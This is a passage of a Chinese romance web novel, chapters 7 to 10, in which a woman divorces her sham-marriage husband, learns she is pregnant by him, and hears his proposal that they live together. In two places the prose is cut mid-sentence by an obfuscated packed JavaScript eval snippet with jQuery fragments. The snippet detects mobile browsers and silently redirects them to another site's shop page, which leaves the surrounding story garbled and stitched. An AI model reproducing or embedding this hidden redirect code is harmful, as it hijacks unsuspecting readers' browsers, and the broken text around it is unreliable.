“我先走啦!”姜绒亦顾不上其他,匆匆向周野道了句别,追上了陆沉渊的脚步。 民政局门口的台阶有些多,而陆沉渊肩宽腰窄腿长,一步就能比得上她好几步的跨度,对方显然是体能怪物的类型。 而当姜绒抬腿一步步走上去时,今天却莫名觉得有些费力。 她低着头,纤长的手指揉了肚子,总觉得肚子隐隐有些不舒服,但又说不清楚,具体是什么。 分不清是胃疼,还是其他,喉咙里有些直冒酸水。 但姜绒想到,往常自己要来例假之前,她一向会有痛经出现。 所以,这次应该也差不多,不是什么大问题。 姜绒没看路,兀自一边思考,一边继续向上走着,却蓦然撞到了一个宽阔的背脊上。 触感极良好的丝绒面料,弄得她鼻头痒痒的,好闻的雪松,佛手柑混合着檀香的味道,一同涌入她鼻腔里。 姜绒红着耳朵,这才明白了过来,台阶不知什么时候,早已走到了尽头。 而自己不仅不注意,还径直撞到了陆沉渊身上去了。 对方转过身来,那双微微上挑的黑眸俯视着她,带着点审视的味道,似乎是要求她解释自己的行为。 姜绒的目光,却不由自主的,再次被他那颗唇上痣吸引,心跳莫名快了半拍。 她白皙的耳根再次发热变红,双腿在不受自己控制的变得酸软。 她突然有了一个新的发现。 在陆沉渊面前,自己的身体反应,似乎永远先于自己的理智,根本就不听自己指挥! “好好走着路,谁让你突然停下来呀,我也不是故意撞你的!” 姜绒深吸了一口气,迅速远离了对方好几步,双手抱臂,用极其冷静的声音,向他辩解道。 可她自己都能听出来,自己强装淡定的声音里,带着几丝不可察觉的颤抖,纤长的手指不由攥紧了自己身上的羊绒大衣。 陆沉渊却没有说什么,语气冰冷的开了口:“这是离婚协议书,没什么异议的话,你就在上面签名吧。” 他骨节修长的手指,推了推高挺鼻梁上的金丝边镜框,将一份文件和一只钢笔,递向她。 姜绒走近了几步,伸手去接,却仍然不可避免的,触碰到了对方冷白的手指。 但即使只是那一小片皮肤的接触,也如同一道微弱的电流瞬间击中了她,令她白皙指尖,开始发热泛红。 脑海里,稀里糊涂的出现那荒唐的一夜。 必须转移注意力!姜绒低头,快速翻阅着那份离婚协议。 协议书上,分门别类,标好了序号和板块的协议内容,极度条理,甚至可以说,到达了一种她无法理解的,理性美的程度。 可以说,在她的人生中,她还没有见过,有人连离婚协议书,都可以写到这样,令人叹为观止的程度。 比她看到过的任何一份文件,都要清晰。 姜绒逐渐明白了,对方为什么在金融和审计领域,能处在今天这样的顶级高位之上。 “没什么异议。” 姜绒回答了他一句,拧开了那只,有些发旧,手感却极好的钢笔,在协议书上,龙飞凤舞的签上了自己的大名。 走进民政局里,这次是来换绿本的,室内却没那么多人了,空气里似乎也冷了好几度,给这场面增添了一丝萧条的味道。 姜绒心里却高兴的很,在服务台前,先于陆沉渊一步,坐了下来。 这次却还是之前办理他俩结婚的那个工作人员,对方目光落在他们身上,惊讶不已:“我记得,两位不是才刚办完结婚证不久吗?” “感情问题属于我们隐私范畴。”陆沉渊将两本结婚证,放到了桌面上,恰到好处的沉声提醒了对方。 这位工作人员的话,却提醒了姜绒。 自己结婚演了戏,那离婚必然也得让人信服,做戏做全套,可信度才高啊。 于是,姜绒说演就演,如同戏精附体,一双充满灵气的鹿眼顿时红了,微微发红,似乎在极力压抑自己内心的悲伤。 她的表情瞬间吸引了那名工作人员,包括陆沉渊的全部注意力。 陆沉渊的表情甚至有些不可思议,似乎不敢相信,这世界上,竟然真的有人,能够在一秒之内,就假哭出来。 姜绒颤抖着,那张特地化了深秋枫叶红,形状好看的唇,用一种带着哭腔,但又努力维持尊严的颤抖声音,对着陆沉渊悲情控诉了起来: “陆沉渊,我累了,我真的累了!从高中到现在,整整七年了!我捂一块石头,也该捂热了。” “可你呢?你的心里只有你那破数据,你那破公司!” 听到她的话,看到这一幕,那名工作人员的表情瞬间变了,他赶忙出声劝慰:“这位女士,请控制您的情绪。” 随即他不再多说任何一句话,动作麻利,快速录入了他们两人的《离婚登记申请书》和《离婚协议书》。 看着工作人员的反应,姜绒悄悄翘了翘嘴角,又擦了一把,自己根本就没有眼泪的眼尾。 再一次,被自己出神入化的演技,所深深折服。 毕竟这些年,自己在英国伦敦圣马丁艺术学院,学习艺术设计专业。 艺术学习的范围,不仅囊括了油画、国画、版画,甚至还涉及到了雕塑、陶艺、材料工艺等。 业余时间,她更是选修了自己很敢兴趣的戏剧表演艺术,加入了学校里的话剧团。 作为女主演,自己还成功参与了好几场演出。 看到她表情,陆沉渊镜片背后的目光,带着几分探究的意味,在姜绒那张表情收放自如,明媚而张扬的白皙小脸上,停了几秒。 “确认离婚的话,请两位签名,并按指纹。”工作人员将这两份文件,再次放在了他们面前。 姜绒点了点头,从容不迫的签下了自己的名字,又按下了自己的指纹。 咔嚓声在她们耳边响起。 她和陆沉渊的红色结婚证,被工作人员利落的注销。 换回了贴有各自单独照片,各执一本的绿色离婚证。 拿到证的瞬间,姜绒心里高兴极了,差点当场笑出声来。 这意味着,她又彻底恢复自由身了。 但姜绒知道,当着工作人员的面,自己的戏并没有演完,还差个收尾。 于是,她纤长的手指,再次擦了一把眼眶,整个人呈现出一种异样的平静,面如死灰的拿起了面前那本离婚证。 她嘴角甚至还带着一丝若有若无、释然的微笑,缓缓翻看了一番。 随即,在陆沉渊的注视下,她缓缓站起了身来,拎着手里的爱马仕包,脚步虚浮而绝望的,一步一步往民政局出口走去。 站在门口的杨西,看到了姜绒,笑着伸了伸手,正欲跟她打个招呼。 却在看到对方表情时,不敢上前,心里疑惑不已。 姜小姐刚才走进去的时候,明明还喜笑颜开的,怎么一出来就变成了这幅模样? 莫非,她其实真的爱上了自家总裁,不想离婚? 走下了台阶好几步,姜绒明白,危险警报已经解除。 她不再演戏了,笑出了声来,迫不及待的从自己包里掏出手机,欲和林晚,分享自己这个成功领到离婚证的好消息。 现在时间还来得及,她甚至已经在脑海里规划起了,在艺术馆办庆祝party的事。 下一秒,一股完全控制不住的反胃,却骤然涌上了姜绒的喉口。 她瞬间停下脚步,捂住嘴巴,干呕了出来。 肚子里异常难受,是一种完全陌生的感觉。 这是怎么一回事? 难道是因为自己没吃早餐的缘故?还是胃出了什么问题? 总之,这根本就不像自己猜测的,往常来例假的征兆。 注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592745|187426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她的异常举动,民政局周围,来来往往上台阶的人,把好奇的目光停留在她身上。 姜绒觉得丢脸至极,她勉强撑起身子,继续往下方的台阶走去。 可是才走了几步,她胃里却翻腾的更加厉害。 这次她直接俯下身去,径直在台阶上,干呕了出来。 一直持续了好几秒钟,直到胃里的东西基本都吐光。 她脆弱的泪腺,也因为这种痛苦而遭了难,真的流出了泪水。 “怎么回事?”此时,一道低沉而好听的声音,随着脚步声,兀然在她身后响起。 一个高大的身影,站在了她面前,低头望着她,骨节修长的手指还递给了她,一瓶拧开了盖子的矿泉水。 姜绒泪眼模糊,抬头望去,逐渐看清了那张眉眼清晰的脸,正是她刚刚才领了离婚证的“前夫”——陆沉渊。 “我没事……只是胃有点不舒服,你先走吧。” 姜绒接过那瓶水,不想自己在他面前丢了面子,摆了摆手,朝他说道。 她心里只觉得,这一茬令人羞愧不已。 毕竟刚才,自己可是当着他的面,拿了离婚证以后,无比潇洒的走出了民政局大厅啊。 然而,肚子仿佛在惩罚她的嘴硬,又一波干呕袭来。 姜绒狼狈的蹲下身去,这次严重到,令她怀疑,自己连胆汁也吐出来了。 “哎呀,姜小姐,你这是怎么一回事啊?”追上了自家总裁脚步,赶上来的杨西,也被这一幕吓了一跳。 “不行,你这个情况,需要立即治疗!” 这一次,陆沉渊不再跟她废话,有力的胳膊,一把径直将她从台阶上搀扶起来,准备带她去医院。 “别……” 姜绒语气有些虚弱,她仍然想制止陆沉渊的举动,可刚才因为反胃,她蹲的太久,双腿已然发软麻痹,连站起来都很难。 下一秒,陆沉渊做出的举动,却令她瞪大了一双模糊的鹿眼,根本不敢相信。 杨西也呆愣在了原地,同样不敢相信自己的眼睛。 姜绒整个人骤然离了地。 因为陆沉渊肌肉线条明显的胳膊,一把穿过她白皙膝弯,将她从地上抱了起来,向他的劳斯莱斯车前走去。 他步子迈的很稳,抱着她极其轻松,就像抱一个洋娃娃般不费力气。 因为这个动作,姜绒泛红的脸颊,贴上了他棕色衬衫的前襟,不仅隐隐感觉到了他紧绷的紧实肌肉轮廓。 还再次闻到了他身上,那股若有若无,令她上瘾的特殊雪松香味。 姜绒的心跳,再次失速了一下。 没有理由,根本无法解释。 如同身上被安装上了一个感官放大器,会自动放大,自己与他接触时的,每一个身体反应。 与此前她遇到任何一个男人,都不同。 “杨西,快开去最近的医院!”将她放到车里后排坐好后,陆沉渊低声命令道。 杨西赶忙点了点头:“好!” 身下的真皮座椅极软,带着温度,头上的星空顶,以及内里的装饰,优雅而奢华。 姜绒喝了口水,已经缓过来了一些,胃里逐渐也不再那么难受了。 她红着耳尖,攥紧手指,望向陆沉渊,那张利落的侧脸,向他道了句谢: “谢谢你啊,陆沉渊,你都成我前夫了,还愿意送我去医院。” 陆沉渊的做法,确实令她有些意外。 毕竟,在她印象里,自高中开始,对方就永远是一张冰块脸。 那时,在学校里。 人人都捧着,她这个人气极高,张扬而耀眼的校花。 只有陆沉渊,是她在班上最少接触的那一个。 对方看起来,不仅完全看不上她的行事作风,甚至还有好几次,偷偷去班主任那里,告过她黑状。 所以,自己对于他,自然是讨厌至极。 “顺手而已。” 陆沉渊却不置可否,扶了扶他高挺鼻梁上,那副泛着冷光的金丝边框眼镜,冷冷回答她道。 这句话,令姜绒心里的感激瞬间消散。 果然,那只是自己的错觉吧? 他根本就是个彻头彻尾,没有感情的电脑人而已。 “姜小姐,我看您这个反应,不太像是胃病发作啊。因为,我表姐跟你症状很像。” 前排的杨西,此时却兀然望向后视镜里的他们,说出了这样一句话来。 姜绒愣了一下。 其实自己刚才突然吐的那么厉害,她也完全无法理解,这到底是什么原因造成的。 于是,她好奇的追问了一句:“那你觉得是什么呢?” 杨西却讪讪的摸了摸头,笑了一下,接着说出了一句,惊世骇俗,令车里的气氛瞬间凝固。 姜绒和陆沉渊,皆不敢置信的话来: “姜小姐,您有没有可能,是怀孕了?” 8. 第八章 车里异常诡异的沉默,随即一阵笑声突兀的响了起来。 “哈哈哈!”正是黑色长筒靴下,修长的双腿交叠,坐在后排,笑得花枝乱颤的姜绒。 她望着杨西后脑勺说道:“杨助理,你小说看多了吧?我现在又没有男朋友,怎么可能会怀孕?” 姜绒觉得这个说法实在很滑稽。 她宁愿相信自己是被什么,从天而降的冰层里,尘封的远古病毒,突然给感染了。 也不会相信,自己是怀孕了。 这实在是太过荒谬。 “不是的,姜小姐。我表姐三年都抱俩了,每次孕早期,她都吐的不行。而且陆总不是您前夫嘛……” 被对方讽刺,杨西表情尴尬,附和的笑了一下,接着说道。 然而,这话一出口,杨西却顿时后悔了。 自己这不会说话的笨嘴,怎么总比脑子转的还快呢! 自己又忘记,他们俩人是假结婚的事了。 两个假结婚的人,怎么可能会产生什么亲密关系? 而且万一,自家总裁,前段时间,嘴唇上出现的可疑咬痕的始作俑者。 根本就不是姜绒,而是陆沉渊瞒着所有人,谈的什么地下女友呢? 果然,姜绒的语气更加不可思议了,几乎立即笑出了声来:“前夫?我跟你们陆总,从头到尾就是假结婚而已……” 气氛瞬间变得更冷了,杨西压根不敢再看后视镜一眼。 只觉得自己后脑勺,已经快被陆沉渊冰冷的眼神,射穿成了筛子:“杨西,你再胡说,就直接给我跳车,别干了!” “是是是,我马上闭嘴!陆总!”杨西赶忙回答他道,正襟危坐,再也不敢多说一句。 看向他们两人的姜绒,心里却兀然多了一丝不安之感。 自己右眼皮也跳的不行。 她纤长的手指拿起手机,看了一眼日期,难道自己出门,真应该学着传统,看看老黄历? 今天到底是什么不宜出门的日子? 白色的劳斯莱斯古斯特,停到距离民政局最近的凛川市人民医院门口,瞬间吸引了许多人的目光。 不少人好奇的张望了好几眼,车里坐着的人,似乎是想弄明白,这样少见的豪车,怎么会出现在这样接地气的医院门口。 车门打开时,陆沉渊扣上了袖口的纽扣,迅速整理了一下身上毫无褶皱的西装,先一步,从另一侧下了车。 姜绒望向对方高大身影,在心内感叹,这人思维方式还真是不一般,似乎还是个洁癖患者。 刚才在车上,就离她远远坐着,两人座椅中间间隔的距离,堪比楚河汉界了,白色的座椅更是整洁到一尘不染。 姜绒不由摇了摇头,陆沉渊,还真是别具一格啊。 和她这种喝醉了,能抱着酒瓶直接躺在地板上酩酊大睡的人,完全不是一个世界。 这令她突然想起,和他的一桩陈年怨事来。 对方和她同班时,作为学习委员,兼任数学课代表,每次发起数学作业来时,却都是采用无接触的方式发放。 即他从来不把作业本,亲自发到每一个同学手上。 而是在点到名字时,使用手腕来发力,精准控制角度,把作业本平稳的滑到每个同学的桌面上去。 虽然有些奇葩,但大家都习惯了他这样的发作业方式。 因为,陆沉渊毫无失手过。 除了唯一那一次,令姜绒彻底记住了他,并且就此恨上了他。 凛川国际高中,本就教学理念先进,管理轻松,那天,正值夏季运动会,更是学生们难得的自由时刻。 分配到了运动会播音员,这一职位的姜绒,打扮得漂漂亮亮的,和自己的小姐妹们,早早就带来了教室。 带了化妆品,互相给彼此化妆,打算到时候,在运动场上,拍出最靓的照,来纪念以及臭美。 而冷着一张脸,早早来发数学作业的陆沉渊,不知道是不是刚好眼瞎。 咻的一下,就将属于她的那本作业,飞到了她脸上去。 姜绒刚刚才涂好的蜜桃粉唇釉,瞬间沾到了蓝色的作业纸上,她精致的妆容,顷刻狼狈至极。 她气得发疯,站起身来,差点就要指着陆沉渊鼻子骂。 还是小姐妹们眼疾手快,一把拉住了她,她才没有发作出来,造成打架事故。 “姜小姐,您下车吧。”杨西的话在姜绒耳畔响起,将她思绪拉回了现实。 她跟上了陆沉渊的脚步,往医院里走去。 消毒水的味道扑鼻而来,穿着白大褂的医生们忙碌的来往,姜绒心里兀然也多了些紧张。 “介于你目前的情况,我建议你先去产科抽血,再去消化内科做个胃镜。” 陆沉渊推了推高挺鼻梁上的镜框,语气沉静,向姜绒说道。 姜绒皱了皱眉:“胃镜?做胃镜多疼呀,我还是先去产科吧。” “那我陪你去。”陆沉渊的语气不庸质疑,不是询问句,而是肯定去。 姜绒点了点头。 她明白,以陆沉渊,这严谨至极的性子,不亲自得知结果,是不可能离开的。 到了产科,在椅子上坐下,扎好血管,从手背里抽了血以后,接下来就只需要等待结果了。 和身材高大挺拔,引起了无数人侧目,回头张望的陆沉渊,相隔了好几个座位坐着,一起等着结果出来。 姜绒的心里却莫名,有些焦虑不安。 她突然想起,自回国以后,自己的例假,就一直来的很准时。 而且,她耳朵再次红了一下,想起了那个荒唐的雪夜。 姜绒根本不记得,陆沉渊有没有使用,安全套那样东西。 “242号患者姜绒,请到1号诊室。”一道声音兀然从广播里传来,叫的是她的名字。 姜绒被吓了一跳,赶忙站起了身来,推开诊室那道门,和陆沉渊,一同走了进去。 身穿白大褂的医生,望向她们的表情,却多了几分喜悦。 待她在桌前坐下时,已经拿着手里的结果单,开始询问起了她来:“你上次例假是什么时候来的?” 姜绒回忆了一下,回答她道:“上个月的前天。” “嗯,才推迟了三天,就有这个数值,很不错了!”听了她的回答,医生却点了点头,笑着说道。 姜绒没明白,这话是什么意思,一脸疑惑。 医生却将手里的hcg测值单子,递给了她: “恭喜你,你怀孕了!” 什么?! 姜绒接过那张薄薄的单子,不敢相信。 此前,二十四年的人生里。 她从未想过怀孕这件事。 只觉得离她很远,甚至这辈子都不可能,也不一定。 但现在,这个突如其来的消息,就如同一道惊雷劈中了她! 毕竟,姜绒这个人随性惯了,又从高二便开始留学,接受了西式教育。 她最向往的,就是那种自由自由,洒脱不羁,随性而为的,嬉皮士般的生活。 怀孕——从来就不是她的人生必选项! 陆沉渊脸上的表情,亦有一瞬间的震惊与凝固,但随即,他再次变得沉稳而冷静,向医生问道: “大夫,请您告诉我,她的怀孕时间,大概是什么时候?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592746|187426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “根据她的hcg测值,大致能够判断出来,是一个月以前,她的孕周是四周左右。” 医生仔细看了眼电脑屏幕上,姜绒的检查单子,回答陆沉渊道。 这句话,如同板上钉钉,极度明确的告诉了姜绒和陆沉渊。 ——这就是她们的孩子! 而一切,都源于那个雪夜。 姜绒仍旧处在震撼之中,但她也明白,她必须接受这个突如其来的事实。 一起走出门后,她转头望向了陆沉渊那张,轮廓深邃,很快平定了一切波澜的脸。 她心里并没有底,不仅不知道自己应该怎么办,也不知道陆沉渊会怎么办。 毕竟,她现在兜里,可还揣着和对方刚领到手、还热乎着的绿本离婚证呢。 即便对方不想负责,也很正常吧。 姜绒张了张唇,仰头朝他问道:“你打算……” “你先和我回家,讨论这件事情的处理方法!” 陆沉渊却径直打断了她的话,长腿一迈,引着她向门口的劳斯莱斯车前走去。 姜绒点了点头,她明白,他是想和自己谈判。 无论最终得出何种结果,这应该是目前,他俩应对这件事情,最好的解决方案。 再次坐回车里,陆沉渊脑海里,却也忍不住,回想起了那个失序的夜晚。 事实上,他是个很难有欲望的人。 甚至,换句话来说,陆沉渊没有欲望。 因为,人生的二十四年以来。 自四岁开始,他那对顶级金融专家父母,便开始用数字来训练他,教他用数字观摩整个世界。 在察觉到他有数学方面的天赋后,他们更加变本加厉。 很长一段时间里,他和父母一起在饭桌上时,甚至都被要求,说出的每句话,必须力求简约精准,并且有数据作为依据。 否则,就不必说了。 他的父母,亲手带他,抹杀了所有为人的欲望。 自此以后。 在陆沉渊的世界里,永远只有泛着冷光的数字和测值的存在。 他可以和工整的公式拥抱,可以伴着散发理性美的数字入眠,却对世界上的任何一个人,都提不起兴趣。 直到高一开始。 陆沉渊等级森严,秩序严格,数字构成的世界里。 出现了一个他费劲心思,无论如何,也扫除不掉的Bug——姜绒。 明明,他没有和她,说过几句话。 明明,他们连肢体接触,也从未有过。 明明,在他眼里,她这种肤浅浪荡,终日玩乐的女生,绝对不是他会喜欢的类型。 明明,陆沉渊的世界,从小便是无欲的世界。 可姜绒的脸,姜绒的声音,姜绒身上的味道。 从高一,她上台自我介绍那天开始,就莫名钻进了陆沉渊脑海里,钻进了他那总是一片空白,了无一物的梦境里。 那晚是他人生中,头一次,没有梦见任何书本上的数字,亦或者是梦见一片虚无,而是梦见了姜绒…… 当陆沉渊清醒睁眼,骨节修长的手指,攥紧被子,坐起身时。 他头一次,在紊乱的呼吸中,看到了,自己被弄脏的白色平角裤。 从那以后,陆沉渊的少年时代里。 姜绒的身影,皆不可控的,出现在他每一个潮湿的,不可言说的梦里,消散不去。 这是陆沉渊,心底里最隐秘,最不可告人的秘密。 而他亦清楚的明白。 这也是,那一个雪夜里。 一向极度理智的他,面对姜绒,却彻底失守的,全部原因! 9、第九章 恭敬打开车门,待他们一上车,杨西已经感觉到了事情似乎并不简单,因为这两个人都不发一言,看起来都有心事的模样。 姜绒那张白皙的小脸,更像是被霜打的茄子,蔫了。 和刚才在来医院的路上,笑的花枝乱颤的模样,判若两人。 他在心里猜测,莫非姜绒是查出了什么不治之症了?还是说真被自己那张乌鸦嘴说中了,查出怀孕了? 但她为什么又再次上了自家总裁的车呢?他对这个问题百思不得其解。 总不可能是自家总裁,喜当爹吧? 不可能!杨西挠了挠头,被自己这个离谱的猜测逗笑。 “陆总,是要顺路送姜小姐回家去吗?”他看向后视镜里的陆沉渊,向他小心翼翼的问了一句。 这次没乱说话,自己总归是对了吧,杨西握紧方向盘,对于自己的判断,沾沾自喜。 然而,这一次,陆沉渊的回答,却差点惊掉了他的下巴。 对方语气冷冷的命令他:“直接去云顶天阙。” 云顶天阙,那不是自家总裁的住处吗?他竟然要带姜绒回他的豪宅里去? 在他印象里,陆沉渊从来没有带过任何一个女人回他的住处,甚至连陆父陆母,都从未去过他的住处。 因为,如同对待工作一般,他这个人,对自己的住处,也有着极其复杂而严苛的要求。 而自己作为陆沉渊的私人助理,送他回那栋豪宅时,最多也只能把车停在门口。 管家,私厨,以及各类为他服务的人员,甚至只能按照他排出来的时间表,严格限制,出现以及离开的时间。 迟到一分钟,或者超时一分钟,都不可以。 因此,大多数时间里,那栋大而空旷的巨大别墅豪宅里,基本上只有陆沉渊一个人在。 而现在,他竟然要带他才刚领了离婚证的“前妻”,姜绒去那里。 杨西更加想不通了,但他不敢再多问什么,只是继续认真开车。 坐在后排,心烦意乱的姜绒,则不自觉的伸出纤长的手指,抚了抚自己极为平坦的小腹。 她仍然不敢想象,现在自己的肚子里,已经有了一个小生命。 自己就这么怀孕了,而且怀的还是陆沉渊的种。 就算她能想象到自己怀孕,有了孩子。 但她也绝不会想到,自己孩子的爹,会是陆沉渊啊! 真是人算不如天算啊! 她又该怎么和家人交待,或者和闺蜜林晚说起这件事呢?这也太丢人了。 毕竟自己才信誓旦旦的通知了对方,今天必定离完婚,把一切搞定!马上又可以和她一起去开party了。 陆沉渊坐的位置离她并不近,但鬼使神差的,她的嗅觉,还是极其灵敏的,捕捉到了对方身上,雪松夹杂着佛手柑、檀香的清冷味道。 简直无孔不入,无处可逃。 以前,她从未发觉,自己对于味道的感知,如此灵敏。 姜绒红着脸,百思不得其解。 明明回国以前,她还因为自己hypoactivesexualdesiredisorder(hsdd,即性/欲减退障碍、性冷淡)的问题,去了伦敦最好的诊所,接受过治疗。 因为,与她耀眼的校花身份,以及明媚张扬的个性不同。 姜绒高中时就发现了,自己身上存在这个问题。 从小到大,追求她的男人非常之多,其中不乏各种身材与外貌都极好,条件极其优越的富家子弟。 高中时,光班上同时追求她的男生就有三个,而隔壁班上,被女生们,封为凛川校草名号的男生,也曾经费尽心思的追求过她。 姜绒并不排斥这些人对自己的追求,因为她非常享受这种被所有人簇拥,众星捧月,令她飘飘然的感觉。 但很快,当对方的追求超格,对她的喜欢无限加深,甚至想对她做一些亲密的肢体接触。 比如牵手,拥抱,亦或是试图亲吻她时。 姜绒本能的反应,是觉得——恶心。 恶心无比,恶心到能让她对面前的男人,瞬间失去了所有的兴趣。 后来,她求助过父母,也询问过医生,上网查过资料,才明白了,自己这种症状,叫做hsdd(性/冷淡)。 这个病,让极受男生欢迎,外表极其耀眼,人气极高,作为校花的姜绒,从来没有谈过一段完整的恋爱,也从来没有过,真正意义上的任何一个男朋友。 相比于国内颇为保守的风气,她只敢告诉林晚一个人。 当在国外,她走进诊所治疗时,才发现这种病症,并不少见,也没有人对这样的病情羞于启齿。 而姜绒犹印象深刻的记得,伦敦诊所的女医生,用那双碧蓝的眼睛看着她,友善的劝说她道: “emma,这不是什么大问题。因为,有时候,你的身体比你的大脑更加诚实。它只是在等待一个,能真正让你感到安全和渴望的人。” 因此,严格意义上来说。 那晚的陆沉渊,是第一个,让她产生了生理性喜欢的人。 姜绒恨自己,为什么偏偏面对陆沉渊,就那么馋,而且她就只馋了一次,就中招了。 前方的转弯路口,兀然出现了一个骑车横穿马路的人,杨西车开的虽然极其平稳,但在这种意外情况下,还是紧急踩了一把刹车。 肚子上的安全带,兀然被勒紧,令姜绒胃里更加觉得不舒服,捂着小腹,再次干呕出声。 “你没事吧?”陆沉渊的目光,却瞬间落在了她身上,对方高大的身影靠近了她,向她沉声问道。 劳斯莱斯里,摆了名贵香槟与红酒的车载冰箱,被他骨节修长的手指打开,拿出了一瓶依云矿泉水,拧开瓶盖后,递到了她面前。 姜绒的耳尖红了一下,目光落在陆沉渊,那只隐隐透着青筋,肤色冷白,骨节修长宽大,握着矿泉水的手上。 他西装袖口的定制纽扣,已经被解开,腕上镶嵌了黑钻的劳力士,很有格调,属于他身上的那股雪松味道,又隐隐的钻入了她鼻腔里。 相比于自己,陆沉渊这双手实在太大了,大到仅凭一只,就能轻松握住她纤瘦的腰身。 “谢谢……”向他仓促的道了句谢,姜绒没有看他,迅速接过那瓶水后,将头转向了车窗那侧。 略微冰凉的水,顺着她喉口滑下,但她身上却莫名更觉得燥热。 “你这样坐着不舒服,我帮你把安全带,换一种系法吧。” 陆沉渊的声音,却兀然再次在她耳边响起,仍是冰棱似的低沉声线,却多了分温度。 姜绒明白,陆沉渊不是为了她,而是为了她肚子里的人质,属于他的孩子考虑,怕自己一不小心,伤到他孩子。 于是,她嘟着唇,没好气的点了点头:“那你系吧。” 她话音刚落,陆沉渊高大的身影,就立即笼罩了她。 男人微微俯身,垂下眉眼,离她极近,近到几乎将她整个人环绕。 这个动作近乎于拥抱,这种错觉,令姜绒耳垂又红了一下,目光再一次,不受控制的,被他轮廓深邃,肤色冷白的脸上,那颗小小的唇上痣吸引。 她莫名觉得喉咙干涩,不由自主的舔了舔唇。 实在不能明白,一个天生冷感十足的人,为什么偏偏会在那个位置,长了一颗痣。 陆沉渊手臂的肌肉线条明显,小臂微一发力,骨节修长的手指,就轻松拽起了,绕在她肚子上的那根安全带。 认真将下带,放在了她肚子下的骨盆位置,又将肩带紧贴她肩胛骨,往下扣落,避开了斜穿腹部。 咔哒,安全带再次被扣下的脆响,从姜绒耳边响起,她却也瞬间觉得,自己被释放了一般,整个肚子都舒服了很多。 她不由在心里承认,对方不愧为自上学起,脑子就极聪明的理科天才。动手能力和思维能力,都要比她强上无数倍。 偷偷在后视镜里,观看着这一幕的杨西,整个脑子都处于一片混乱的浆糊之中。 几分钟后,白色的劳斯莱斯古斯特,停在了云顶天阙的门口。 这栋坐落在种满雪松的山上,占比面积极大的豪宅别墅,在凛川市,只此一套。 现在,这套别墅的主人,只属于陆沉渊一人。 “陆总,姜小姐,地方到了。”杨西将车门打开,恭敬提醒他们道。 随后,他识趣的退下,并驾驶着劳斯莱斯,开去了不远处,远离了这栋别墅,专属于陆沉渊的独立停车场。 姜绒解开安全带,迈开步子,下了车,她已经做好了自己的决定,现在只希望,陆沉渊能够同意。 “跟我进去吧。”陆沉渊黑眸扫了她一眼,长腿迈开步子,向别墅内走去了。 姜绒跟上了他的脚步。 再次踏进这栋大的离谱,令人叹为观止的豪宅里,她还是觉得有些震撼。 姜家比起寻常有钱的人家,已经算是很有钱了,从小到大,她要什么,父母就给她什么。 从小作为千金抚养长大,她在国外住别墅庄园也好,开跑车也好,随时买包做美容也好,父母都会满足她。 但以她家庭的财力程度和陆家比起来,还是千差万别。 光是因为联姻,陆家为之付出的,能够彻底解决她家画廊资金链断链的钱,于陆家来说,就只是九牛一毛。 更不必提,她听闻过,陆家所拥有的地产,遍布了小半个地球,凛川独有的,两条私人独有航线,也专门只为陆沉渊的私人飞机所设立。 但更令她感到意外的是,这座豪宅里的隐私性,风格冷淡,以黑白色为主的空旷客厅里,竟然真的只有她和陆沉渊两个人在。 来这里的目的,不在于参观,而是谈判。 姜绒懒得再细看,坐在黑色的真皮沙发椅上,翘起二郎腿,望向陆沉渊,率先将话说出了口: “陆沉渊,我的解决方案,就两种。” “要么不要这个孩子,当那一晚上什么事也没发生。反正咱们俩离婚证都领过了,我也不需要你负任何责任。” “要么我自己把孩子生下来,自己抚养,我的艺术馆有丰厚的收入,我可以做单亲母亲,把这个孩子养大成人。” 陆沉渊高大的身影,在她对面的沙发上坐了下来,一双幽深的黑眸望向她,气场强大的如同蛰伏在海底的巨兽。 他那张形状好看的唇,张了张,沉声说出来的话,令姜绒意想不到:“你的两种解决方案,我都不同意。” “为什么不同意?”姜绒不想让自己输掉气势,双手抱臂,朝他追问道。 陆沉渊骨节修长的手指,轻敲大理石桌面,语气严谨,条理清晰的逐条反驳她: “第一,虽然你作为肚子里孩子的母亲,对她的生命有决定权,但我也是这个孩子的父亲,一半的基因源自于我,我不同意你流掉她。” “第二,你艺术馆丰厚的收入具体指多少?把你的财报发一份给我,证明你比我有更好的能力,给这个孩子提供最好的资源与养育条件。” 姜绒白皙的小脸瞬时涨红了,果然和这种审计出身,事事讲数据,事事求严谨的人相比,自己根本没有任何招架能力。 她的艺术馆,事实上自开业至今,还没有为她挣到收入,投入倒是已经好几百万了。 自己的抚养能力,自然和陆家千亿家产继承人,以及顶级审计事务所创始人——陆沉渊相比,是零与趋向无穷大的区别。 “你……那你到底想怎么办吧!”饶是姜绒再擅长厚脸皮,以及无理取闹,也没什么话去反驳他。 只得破罐子破摔,继续追问他道。 陆沉渊骨节修长的手指,却推了推鼻梁上的金丝边眼镜,那双锐利有神的黑眸,牢牢锁住她。 说出来的话,令姜绒瞬间红了脸,不敢相信: “我们同居,共同抚养这个孩子!”《 》 10、第十章 和陆沉渊同居?! 姜绒白皙耳根已然红透,虽然她肚子里怀了对方的孩子,他是自己孩子的父亲。 但严格意义上来说,她们对彼此完全不熟,也没有任何感情,甚至高中时期,自己还讨厌过他很长一段时间。 而同居意味着,极度亲密,她们两人必须住在同一屋檐下,生活在一起。 这对她来说,根本无法想象。 陆沉渊似乎是看出了她的顾虑,那双有神的黑眸望向她,接着说道: 